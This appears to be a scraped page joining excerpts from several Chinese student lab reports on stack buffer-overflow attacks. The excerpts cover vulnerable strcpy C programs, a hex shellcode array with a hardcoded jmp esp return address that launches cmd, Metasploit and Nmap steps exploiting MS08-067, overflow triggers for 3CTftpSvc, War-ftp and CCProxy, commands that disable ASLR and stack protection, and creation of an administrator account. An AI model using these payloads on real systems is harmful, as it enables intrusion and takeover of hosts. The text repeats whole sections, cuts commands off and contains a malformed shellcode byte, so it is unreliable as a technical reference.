缓冲区溢出实验报告
缓冲区溢出攻击与防范实验报告
缓冲区溢出攻击与防范实验报告——计算机网络(2)班——V200748045黄香娥1·缓冲区溢出的概念:缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间想匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。
2·缓冲区溢出的危害:在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出,其中最著名的例子是1988年利用fingerd漏洞的蠕虫。
而缓冲区溢出中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到shell,然后为所欲为。
3·缓冲区溢出原理:由一个小程序来看://test.c#include "stdio.h"#include "stdlib.h"#include "string.h"void overflow(void){char buf[10];strcpy(buf,"0123456789123456789");}//end overflowint main(void){overflow();return 0;}//end main按F11进入"Step into"调试模式,如下:按F11跟踪进入overflow,让程序停在6,现在再看一下几个主要参数:esp=0x0012ff30,eip发生了变化,其它未变。
缓冲区溢出攻击实验报告_林凯杰_30601340
缓冲区溢出攻击实验【实验要求】1)基本要求:编写一个能实现缓冲区溢出(整数溢出或堆栈溢出)的程序。
语言不限(c,c++,c#,java等均可),环境也不限(linux或windows等)。
并在调试状态下(如linux的gdb或其他集成开发环境的调试命令)查看寄存器和相应存储单元内容的变化情况。
分析并解释缓冲区溢出的原因。
提交:分析文档(要给出调试过程和运行过程中的一些必要的截图),源代码等。
2)提高要求:在上述溢出的情况下,改写ret地址,增加shellcode代码,实现本地或远程管理员权限的非授权访问。
例:一个简单的shellcode程序:/* linux下的一个程序*/#include <stdio.h>void main() {char *name[2];name[0]="/bin/sh";name[1]=NULL;execve(name[0],name,NULL);}也可用gdb对其反汇编(主要分析execve和exit函数调用的机器指令),获得相关的汇编代码,进一步处理为16进制机器代码,形如char shellcode[]="\xeb\xlf.......\bin\sh";然后利用strcpy等脆弱性函数植入shellcode.【实验原理】实验主要是利用strcpy等脆弱性函数在执行时没有检查缓冲区长度的特性,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。
1、局部变量与堆栈的关系在一个程序中,会声明各种变量。
静态全局变量是位于数据段并且在程序开始运行的时候被初始化,而局部变量则在堆栈中分配,只在该函数内部有效。
如果局部变量使用不当,会造成缓冲区溢出漏洞。
例如,以下程序将命令行的第1个参数拷贝到buffer局部变量中。
void main(int argc,char **argv){char buf[80];strcpy(buf,argv[1]);}在一次函数调用中,堆栈中将被依次压入:参数、返回地址。
缓冲区溢出攻击与防范实验报告
实验六报告如图2所示的Windows 2000系统(虚拟机环境下)的计算机。
显然这2台计算机处于同一个网段中,可以相互通讯,win10系统用作攻击机,下面将在此系统上运行Metasploit进行渗透测试,而Windows 2000系统都是本次任务中需要进行渗透入侵的靶机,保持安装后的默认状态,没有打额外的系统安全补丁。
图1 win10攻击机图2 Windows 2000 靶机2、扫描靶机在正式开始渗透之前,应该对靶机进行扫描探测工作,搞清楚渗透目标的系统类型、开放的端口服务、可能存在的安全漏洞等。
在win10攻击机上运行metasploit console,即可进入Metasploit环境。
现在可以利用MSF框架中集成的Nmap扫描器对渗透测试目标进行扫描,如图3所示,获取了靶机的开放服务和操作系统类型等信息。
图3 windows 2000扫描结果利用扫描器的脚步插件,还有可能直接探测出目标系统的安全漏洞,例如如图4所示,Nmap 利用smb-check-vulns插件扫描探测出了Windows 2000靶机存在MS08_067漏洞,命令执行如下:nmap -script= 。
namap扫描的结果里报告发现MS08-067:DISABLED。
这是在暗示我们或许能够对这台主机进行渗透攻击,然后我们在Metasloit里面找到此漏洞的攻击模块,并尝试攻击目标机器。
MS08-067是一个对操作系统版本依赖非常高的漏洞,所以在这里,我们只自动payload指定一下目标就可以确保触发正确的溢出代码。
图4漏洞扫描结果3利用MS08_067漏洞渗透入侵MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的RPC 请求,则该漏洞可能允许远程执行代码。
在Microsoft Windows 2000Windows XP 和Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。
实验2:缓冲区溢出
3.4.2 寻找jmp指令地址
前面说到,我们选择通过jmp esp来实现程 序跳转,也就是说,要在RET的位置放置 jmp esp指令的地址,那么,到哪里找jmp esp指令呢? 最好是能在系统中找到现成的,而不需要 我们重新再构造 事实上,在Windows系统的许多DLL中都 能找到jmp esp这样一条指令,一个通用的 地址是0x7ffa4512
4. 实验说明——3CTftpSvc
软件名称:3CTftpSvc 影响版本:Current version:2.0.1 漏洞描述:畸形的传输模式可以导致缓冲 区溢出,覆盖EIP,可能造成拒绝服务攻击和 远程代码执行。 漏洞调试:当传输模式为mode = "netascii" + "A" * 469时覆盖EIP
因此,在网上下载的CCProxy 6.2有可能 是已修补了该漏洞的程序
4. 实验说明——War-ftp
war-ftp漏洞提示:向服务器发送超过480 字节的用户名可以触发漏洞(即使用命令 USER longString\r\n),溢出之后,ESP中 的内容包含了longString中的部分内容
3.1 介绍CCProxy
CCProxy因其设 置简单和使用方便 等特点,成为国内 最受欢迎的代理服 务器软件。 CCProxy不但支 持常见的HTTP和 SOCKS代理,而且还 支持FTP和Telnet这 类不常用的协议及 其它协议。
3.2 漏洞说明
CCProxy在代理Telnet协议时,可以接受 Ping命令
Socket编程 连接目标主机(connect) 构造溢出字符串(即构造后接shellcode的 ping命令:ping shellcode\r\n) 向目标主机发送溢出字符串(send) 关闭连接
网络安全实验报告 - 缓冲区溢出攻击
一实验名称利用跳转指令实现缓冲区溢出定位参数地址实现缓冲区溢出二实验目的1.熟练掌握缓冲区溢出原理2.利用jmp esp指令实现缓冲区溢出3.熟练掌握缓冲区溢出原理4.利用定位参数地址实现缓冲区溢出三实验步骤利用跳转指令实现缓冲区溢出1.编写前导码程序中提供了一个超长前导码,对程序进行调试来确定实际需要的前导码长度在图中可以看出,0x49484746四字节覆盖了ret返回地址2.查找jmp esp指令地址运行FindJmpesp工具,选取一个地址追加到shellcode尾(追加填加地址时注意数组高字节对应地址高位),所选jmp esp指令地址是0x77e424da跟踪调试程序,确定在memcpy执行返回时jmp esp指令是否被执行从图看出,在jmp esp指令执行完毕后,指令指针紧接着执行了3个空指令,而空指令是追加在shellcode尾部的3.生成实现弹出对话框的指令码MessageBoxA函数的绝对内存地址,该地址为0x77E10000+0x0003D8DE=0x77E4D8DE函数ExitProcess的绝对内存地址0x7C800000+0x00013039=0x7C813039利用反汇编功能获取代码字节,将代码字节以十六进制数据形式继续追加到shellcode尾。
重新编译执行。
定位参数实现缓冲区溢出1.进入工程2.生成shellcode功能体(1)首先设置OverFlowClient项目为启动项。
(2)使用Depends工具打开FindShellBase.exe文件定位上述内存地址kernel32.dll 0x7C800000LoadlibraryA 0x7C800000+0x00001E60=7C801E60SHELL32.DLL 0x7CA10000shellExecuteA 0x7CA10000+0x0008F6D4=0x7CA9F6D4(3)编译并生成OverFlowClient.exe,执行OverFlowClient.exe,确定系统是否新建了jlcss用户,并隶属Administrators组。
网络安全缓冲区溢出技术实验报告
网络实验报告一、实验目的及要求1、目的了解和掌握Win32平台缓冲区溢出原理;学会使用Win32平台Shellcode技术。
2、内容及要求以windows 2000 server虚拟机为测试对象,修改server.cpp和exploit.c,利用shellcode port bind给出的shellcode,远程获得CMD,并启动目标机器的ftp服务。
二、仪器用具计算机(分别装有windows server 2000和windows 7操作系统),本实验使用的是虚拟机Wmware8.0在同一台电脑上面安装两个操作系统。
三、实验方法与步骤在实验开始前,首先编写可能产生缓冲区溢出的程序(server.cpp)和测试程序(exploit.c)。
在server.cpp中能够产生缓冲区溢出的程序片段如下:void overflow(char * s,int size){char s1[50];printf("receive %d bytes",size);s[size]=0;strcpy(s1,s);}这两个程序的完整代码见附件。
由于本实验是在虚拟机环境下测试的,所以在开始实验前,分别记下两个系统的IP地址:运行server程序的系统IP地址为:192.168.209.131运行exploit程序的系统IP地址为:192.168.209.1实验的过程如下:1.在windows2000系统下分别编译server.cpp和exploit.c程序,详细过程如下:C:\test>cl server.cppC:\test>cl exploit.c编译完成后分别产生exploit.exe、exploit.obj、server.exe、server.obj截图如下图1所示:图 12.在windows2000系统中运行服务程序:server.cppC:\test>server.exe截图如下图2所示:图 23.将编译好的exploit程序拷贝到windows 7系统中来测试4.在windows 7系统中运行exploit.exe程序,如下D:\client\exploit.exe 192.168.209.131 8888截图如下图3所示:图3这样就可以获得目标主机的CMD了,接下来的任务是开启目标主机的FTP服务。
缓冲区溢出攻击与防范实验报告
缓冲区溢出攻击与防范实验报告——计算机网络(2)班——V200748045黄香娥1·缓冲区溢出的概念:缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间想匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。
2·缓冲区溢出的危害:在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出,其中最著名的例子是1988年利用fingerd漏洞的蠕虫。
而缓冲区溢出中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到shell,然后为所欲为。
3·缓冲区溢出原理:由一个小程序来看://test.c#include "stdio.h"#include "stdlib.h"#include "string.h"void overflow(void){char buf[10];strcpy(buf,"0123456789123456789");}//end overflowint main(void){overflow();return 0;}//end main按F11进入"Step into"调试模式,如下:按F11跟踪进入overflow,让程序停在6,现在再看一下几个主要参数:esp=0x0012ff30,eip发生了变化,其它未变。
缓冲区溢出实验
缓冲区溢出实验实验环境:实验准备:因为缓冲区溢出攻击是一个比较老的攻击方法,因此在现在的操作系统中都加入了防护机制。
在实验开始之前,为了能成功的看到结果,我们需要把这些防护机制关掉。
工程如下:第一步,关掉随机地址机制。
地址随机是一个主要防护机制,在缓冲区溢出攻击过程中需要覆盖并改写程序的返回地址。
使返回地址指向我们的代码,如果开始地址随机的话,我们就不能准确的计算出我们的代码的位置。
所以,我们使用以下命令(在root权限下),关掉该防护机制。
#sysctl -w kernel.randomize_va_space=0第二步,在编译的时候,要关掉栈区保护,并且允许栈区可执行。
这样,我们利用缓冲区溢出注入的代码才可以在栈里面执行。
$ gcc -fno-stack-protector example.c$ gcc -z execstack -o test test.c实验过程:首先分析被攻击的程序#include <stdlib.h>#include <stdio.h>#include <string.h>int bof(char *str){char buffer[24];/* The following statement has a buffer overflow problem */strcpy(buffer, str);return 1;}int main(int argc, char **argv){char str[517];FILE *badfile;badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);printf("Returned Properly\n");return 1;}main()函数读入一个文件,并调用bof(),进行拷贝。
缓冲区溢出漏洞实验
缓冲区溢出漏洞实验缓冲区溢出漏洞实验⼀、了解缓冲区溢出及其原理1、缓冲区溢出概念缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本⾝的容量溢出的数据在合法数据上,理想的情况是程序检查数据长度并不允许输⼊超过缓冲区长度的字符,但是绝⼤多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患,操作系统所使⽤的缓冲区,⼜被称为"堆栈"。
在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。
2、缓冲区溢出攻击及其原理通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从⽽破坏程序的堆栈,使程序转⽽执⾏其它指令,以达到攻击的⽬的。
造成缓冲区溢出的原因是程序中没有仔细检查⽤户输⼊的参数。
这也是稍后做题的突破原理,缓冲区漏洞普遍并且易于实现,缓冲区溢出成为远程攻击的主要⼿段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的⼀切:植⼊并且执⾏攻击代码。
被植⼊的攻击代码以⼀定的权限运⾏有缓冲区溢出漏洞的程序,从⽽得到被攻击主机的控制权。
⼤多数的缓冲溢出攻击都是通过改变程序运⾏的流程到⼊侵者植⼊的恶意代码,其主要⽬的是为了获取超级⽤户的shell。
原理:将恶意指令存放在buffer中,这段指令可以得到进程的控制权,从⽽达到攻击的⽬的。
⼆、实验楼实现缓冲区溢出1、实验准备本实验需要32位环境下操作,输⼊命令下载必要的软件包。
sudo apt-get updatesudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-devsudo apt-get install -y python3.6-gdbm gdb2、初始设置Ubuntu 和其他⼀些 Linux 系统中,使⽤地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得⼗分困难,⽽猜测内存地址是缓冲区溢出攻击的关键。
缓冲区溢出攻击实验报告
网络攻防对抗实验报告实验名称:缓冲区溢出攻击(实验六)指导教师:专业班级:姓名:学号: _____电子邮件: ___ 实验地点: _ 实验日期:实验成绩:____________________一、实验目的1. 了解缓冲区溢出攻击的原理和危害;2.掌握缓冲区溢出攻击的方法和对策。
二、实验原理1.缓冲区概念缓冲区是内存中存放数据的地方。
在程序试图将数据放到机器内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出。
而人为的溢出则是有一定企图的,攻击者写一个超过缓冲区长度的字符串,植入到缓冲区,然后再向一个有限空间的缓冲区中植入超长的字符串,这时可能会出现两个结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另一个结果就是利用这种漏洞可以执行任意指令,甚至可以取得系统root 特级权限。
缓冲区是程序运行的时候机器内存中的一个连续块,它保存了给定类型的数据,随着动态分配变量会出现问题。
大多时为了不占用太多的内存,一个有动态分配变量的程序在程序运行时才决定给它们分配多少内存。
如果程序在动态分配缓冲区放入超长的数据,它就会溢出了。
一个缓冲区溢出程序使用这个溢出的数据将汇编语言代码放到机器的内存里,通常是产生root权限的地方。
仅仅单个的缓冲区溢出并不是问题的根本所在。
但如果溢出送到能够以root权限运行命令的区域,一旦运行这些命令,那可就等于把机器拱手相让了。
造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。
缓冲区是一块用于存放数据的临时内存空间,它的长度事先已经被程序或操作系统定义好。
缓冲区类似于一个杯子,写入的数据类似于倒入的水。
缓冲区溢出就是将长度超过缓冲区大小的数据写入程序的缓冲区,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他指令。
发生溢出时,如果用一个实际存在的指令地址来覆盖被调用函数的返回地址,则系统就会转而执行这个指令,这一点就是缓冲区溢出被用来进行攻击的最关键之处。
缓冲区溢出攻击与防范实验报告
实验六报告图1 win10攻击机图2 Windows 2000 靶机2、扫描靶机在正式开始渗透之前,应该对靶机进行扫描探测工作,搞清楚渗透目标的系统类型、开放的端口服务、可能存在的安全漏洞等。
在win10攻击机上运行metasploit console,即可进入Metasploit环境。
现在可以利用MSF框架中集成的Nmap扫描器对渗透测试目标进行扫描,如图3所示,获取了靶机的开放服务和操作系统类型等信息。
图3 windows 2000扫描结果利用扫描器的脚步插件,还有可能直接探测出目标系统的安全漏洞,例如如图4所示,Nmap利用smb-check-vulns插件扫描探测出了Windows 2000靶机存在MS08_067漏洞,命令执行如下:nmap -script=smb-check-vulns.nse 192.168.56.101。
namap扫描的结果里报告发现MS08-067:DISABLED。
这是在暗示我们或许能够对这台主机进行渗透攻击,然后我们在 Metasloit里面找到此漏洞的攻击模块,并尝试攻击目标机器。
MS08-067是一个对操作系统版本依赖非常高的漏洞,所以在这里,我们只自动payload指定一下目标就可以确保触发正确的溢出代码。
图4漏洞扫描结果3利用MS08_067漏洞渗透入侵MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。
在 Microsoft Windows 2000Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。
防火墙最佳做法和标准的默认防火墙配置,有助于保护网络资源免受从企业外部发起的攻击,默认情况下能建立空连接。
缓冲溢出攻击实验报告
一、实验目的及要求1. 了解缓冲区溢出攻击的原理和类型。
2. 掌握缓冲区溢出攻击的实验方法和步骤。
3. 理解缓冲区溢出攻击的危害性。
4. 学习防范和避免缓冲区溢出攻击的方法。
二、实验环境1. 操作系统:Windows 102. 编程语言:C/C++3. 漏洞利用工具:Metasploit4. 实验环境搭建:使用虚拟机软件(如VMware)搭建实验环境,靶机为Windows 7 SP1,攻击机为Kali Linux。
三、实验内容1. 漏洞分析:分析实验环境中存在的缓冲区溢出漏洞。
2. 攻击实现:利用Metasploit工具对靶机进行攻击,实现远程代码执行。
3. 防御措施:学习防范和避免缓冲区溢出攻击的方法。
四、实验步骤1. 漏洞分析- 使用Ghidra工具对实验环境中的漏洞程序进行反汇编,分析程序中的缓冲区溢出漏洞。
- 发现漏洞程序存在缓冲区溢出漏洞,攻击者可以通过输入超长字符串来覆盖返回地址,从而控制程序的执行流程。
2. 攻击实现- 使用Metasploit工具中的`exploit/multi/handler`模块,设置攻击目标为靶机的IP地址和端口。
- 使用`set payload`命令设置攻击载荷,选择`windows/x64/meterpreter/reverse_tcp`,该载荷可以在攻击成功后与攻击机建立反向连接。
- 使用`set LHOST`命令设置攻击机的IP地址,使用`set LPORT`命令设置端口号。
- 使用`set target`命令设置攻击目标,选择漏洞程序的模块和参数。
- 使用`exploit`命令启动攻击,等待攻击成功。
3. 防御措施- 代码审计:对程序进行代码审计,及时发现并修复缓冲区溢出漏洞。
- 输入验证:对用户输入进行严格的验证,限制输入长度,防止输入超长字符串。
- 边界检查:在代码中添加边界检查,防止缓冲区溢出。
- 安全编程:遵循安全编程规范,使用安全的编程语言和库,避免使用存在漏洞的函数。
缓冲区溢出实验报告
缓冲区溢出报告院系:计算机与通信工程学院班级:信息安全10-02班1.实验目的掌握缓冲区溢出的原理掌握常用的缓冲区溢出方法理解缓冲区溢出的危害性掌握防范和避免缓冲区溢出攻击的方法2.实验工具溢出对象:CCProxy 7.2(1)(2)调试工具:使用Vmware虚拟机,安装CCPROXY7.2进行实验调试。
3.实验步骤了解CCProxy 7.2代理服务器为大家解决了很多问题,比如阻挡黑客攻击和局域网共享上网等。
•国内非常受欢迎的一款代理服务器软件•设置简单,使用方便•不仅支持常见的HTTP和SOCKS代理,而且支持FTP/Telnet等这类不常用的协议及其它协议关于CCProxy6.2缓冲区溢出漏洞说明CCProxy在代理Telnet协议时,可以接受Ping命令Ping命令格式:ping hostname\r\n当hostname的长度大于或者等于1010字节时,CCProxy 6.2会发生缓冲区溢出,导致程序崩溃CCProxy 6.2缓冲区溢出漏洞演示在目标主机运行CCProxy,使用默认设置运行CCProxy的机器IP是192.168.6.132使用telnet命令连接CCProxy:telnet 192.168. 6.132 23返回信息:(如图)输入ping命令,后接畸形数据:在ping命令后接10个字符A(ping AAAAAAAAAA),观察返回信息将字符A的数量变为100个、1000个、2000个,观察返回信息(注:由于本人安装的是7.2版本,其漏洞已修复,故智能识别252个字符,其后被截断,所以当出现的畸形字符长度超过252时,就不再被识别,所以会有“host not found”)原理:如果终端提示“Host not found”,说明CCProxy正确地处理了这个畸形数据,仍工作正常如果终端提示“失去了跟主机的连接”,表明CCProxy已经崩溃CCProxy 6.2缓冲区溢出漏洞利用如何利用这个漏洞,来实现攻击目的,做一些特别的事情。
缓冲区溢出检测实验
if(diff<=strlen(bufchar)) {
printf("Message: buf1 is overflow, overwritten myoutfile\n"); }
实验工具
MS08067 溢出工具
实验要点
本地缓冲区堆溢出 MS08
VM Server
VM Client
实验步骤指导
实验准备
实验概要:熟悉了解相关的实验工具。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
【知识重点】 在引入一个基于堆的缓冲区溢出的例子前,首先简单介绍一个例题的意图。在一个堆栈 里边申请两块存储空间,处于低地址的 buf1 和处于高地址的 buf2。在 buf2 当中,存储了 一个名为 myoutfile 的字符串,用来存储文件名。buf1 用来接收输入,同时将这些输入字符 在程序执行过程中写入到 buf2 存储的文件名 myoutfile 所指向的文件中。
getchar(); return 0; }
通过 malloc 命令,申请了两个堆的存储空间。在这里要注意分配堆的存储空间时,存在
一个顺序问题。buf2 的申请命令虽然在 buf1 的申请命令之前,但是在运行过程中,内存空
间中 buf2 是在高地址位,buf1 是在低地址位。这个随操作系统和编译器的不同而不同。
//#include "stdafx.h" #include "iostream" #include "stdio.h" #include "stdlib.h" #include "memory.h"
基于缓冲区溢出的攻击实验报告
一、实验名称:基于缓冲区溢出的攻击二、实验目的:1.学习并掌握缓冲区溢出的基本原理2.学习缓冲区溢出攻击利用的技术三、概念与原理1.缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间想匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。
2.通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。
造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。
例如下面程序:void function(char *str) {char buffer[16];strcpy(buffer,str);}上面的strcpy()将直接吧str中的内容copy到buffer中。
这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。
存在象strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf()等。
当然,随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”,而不能达到攻击的目的。
最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。
如果该程序属于root且有suid权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。
四、攻击方法利用c语言中的getchar()等脆弱性函数在执行时没有检查缓冲区长度的特性,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。
实验七-缓冲区溢出攻击实验
实验七缓冲区溢出攻击实验
一、实验目的
1、理解缓冲区溢出攻击的原理;
2、获取目标主机的最高权限,利用远程桌面登录。
二、实验环境
1、实验环境:Windows 2000/2003的目标主机,通过虚拟机加载;
2、软件工具:metasploit frmamework。
三、实验步骤
1.攻击目标
Windows 2000主机
2.攻击开始
步骤1:使用nmap对目标进行端口扫描
步骤2:目标开启135端口,可利用MS03-026漏洞进行入侵,用到的工具是metasploit frmamework。
安装完毕后选择console模式
(1)查询MS03-026漏洞所对应的溢出模块
(2)进入此模块
(3)设置有效载荷为执行特定命令,配置相关参数
(4)执行攻击命令,成功进入目标系统
(5)添加系统账号并把它加入系统管理员组中
四、实验小结:
缓冲区溢出,是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至
系统的控制权。
缓冲区溢出攻击的目的在于扰乱具有某些特权运行的程序的功能,这样可以使得攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机就被控制了。
一般而言,攻击者攻击root程序,然后执行类似“exec(sh)”的执行代码来获得root权限的shell。
通过该实验我了解到通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。
造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。
缓冲区溢出实验报告
华中科技大学计算机学院《信息系统应用安全》实验报告实验名称缓冲区溢出实验团队成员:注:团队成员贡献百分比之和为1教师评语:一.实验环境⏹操作系统:Windows XP SP3⏹编译平台:Visual C++ 6.0⏹调试环境:OllyDbg二.实验目的1.掌握缓冲区溢出的原理;2.掌握缓冲区溢出漏洞的利用技巧;3.理解缓冲区溢出漏洞的防措施。
三.实验容及步骤1.缓冲区溢出漏洞产生的的基本原理和攻击方法⏹缓冲区溢出模拟程序由于拷贝字符串时产生缓冲区溢出,用“ABCD”字符串的值覆盖了原来EIP的值,所以main函数返回时EIP指向44434241,引发访问异常。
运行命令窗口的shellcode#include "string.h"#include "stdio.h"#include<windows.h>char name[]="\x41\x41\x41\x41""\x41\x41\x41\x41""\x41\x41\x41\x41" ///覆盖ebp"\x12\x45\xfa\x7f" ////覆盖eip, jmp esp地址7ffa4512"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d""\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63""\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e""\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c""\x8d\x45\xf4\x50\xb8""\x77\x1d\x80\x7c" // LoadLibraryW的地址"\xff\xd0""\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73""\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72""\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63""\xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57""\xba""\xc7\x93\xbf\x77" // System 的地址"\xff\xd2";int main(){char output[8];strcpy(output, name);for(int i=0;i<8&&output[i];i++){printf("\\0x%x",output[i]);}printf("\n");return 0;}由于把main函数的返回EIP地址替换成了jmp esp的地址,main函数返回的时候就会执行我们的shellcode代码。
溢出的实验报告
一、实验目的1. 了解溢出的概念和产生原因;2. 掌握溢出攻击的原理和常见类型;3. 熟悉溢出漏洞的检测和防护方法。
二、实验环境1. 操作系统:Windows 10;2. 编程语言:C/C++;3. 编译器:MinGW;4. 虚拟机:VMware Workstation。
三、实验原理溢出(Buffer Overflow)是指当向缓冲区写入数据时,超出了缓冲区的实际容量,导致数据覆盖到相邻内存区域的现象。
当溢出的数据覆盖到关键数据结构或返回地址时,攻击者可以利用这一漏洞执行任意代码,从而实现攻击。
四、实验步骤1. 编写溢出程序```c#include <stdio.h>#include <stdlib.h>void vulnerable_function(char str) {char buffer[10];strcpy(buffer, str);printf("You said: %s\n", buffer);}int main() {char input[100];printf("Enter your name: ");scanf("%99s", input);vulnerable_function(input);return 0;}```2. 生成可执行文件在MinGW环境下,使用gcc编译器编译程序:```bashgcc -o overflow overflow.c```3. 运行溢出程序运行编译好的程序,输入超过缓冲区大小的字符串:```bash./overflow```4. 分析溢出过程当输入超过缓冲区大小的字符串时,溢出的数据会覆盖到相邻内存区域,包括返回地址。
攻击者可以通过构造特定的字符串,修改返回地址,使其指向恶意代码的地址,从而实现攻击。
5. 编写漏洞检测代码```c#include <stdio.h>#include <stdlib.h>void vulnerable_function(char str) {char buffer[10];strcpy(buffer, str);printf("You said: %s\n", buffer);}int main() {char input[100];printf("Enter your name: ");scanf("%99s", input);vulnerable_function(input);printf("Return address: %p\n", &input);return 0;}```运行漏洞检测代码,观察返回地址是否被覆盖:```bash./overflow```6. 防护溢出漏洞1) 使用安全的字符串处理函数,如strncpy、strncat等,限制写入数据的长度;2) 使用栈保护技术,如堆栈标记、堆栈守卫等,防止溢出数据覆盖返回地址;3) 使用地址空间布局随机化(ASLR)技术,增加攻击难度;4) 使用编译器提供的栈保护选项,如gcc的-fstack-protector选项。
linux实验报告-Linux下的缓冲区溢出实践
课程实验(设计)报告课程名称:Linux架构分析与安全设计实验内容:Linux下的缓冲区溢出实践目录1. 实验目的 (3)2. 实验环境 (3)3. 实验原理 (3)4. 实验要求 (7)5. 实验内容和步骤 (7)5.1 实验内容 (7)5.2实验步骤 (8)6. 实验思考与改进 (12)1.实验目的理解Linux系统下缓冲区溢出机制。
2.实验环境(1)操作系统:Ubuntu 20.04(2)L inux Kernel:5.4.0-53-generic(2)软件工具:gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.03. 实验原理#include<stdio.h>int calc(int a,int b,int* sum) {*sum = a+b;return0;}int main(int argc,char*argv[]) {int a = 1;int b = 2;int sum = 0;printf("before calc : a = %d, b = %d, sum = %d\n",a,b,sum);calc(a,b, &sum);printf("after calc : a = %d, b = %d, sum = %d\n",a,b,sum);return0;}参考上述代码,calc()函数有三个参数,第一个,第二个是参与计算的数,第三个是保存结果的变量的地址。
编译运行,结果如下图所示接下来我们使用gdb调试程序先用b命令在代码16行calc(a, b, sum)下断点,使用r运行,等程序在16行处停下来,查看a,b,sum的地址和rbp,rsp的值,如下图所示。
如下图所示,进入calc()函数后,因为函数传递参数是传值,会新申请内存空间保存变量,所以可以看到a,b,sum的地址都改变了但是从下图我们可以看出来,形参额值是不变的。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
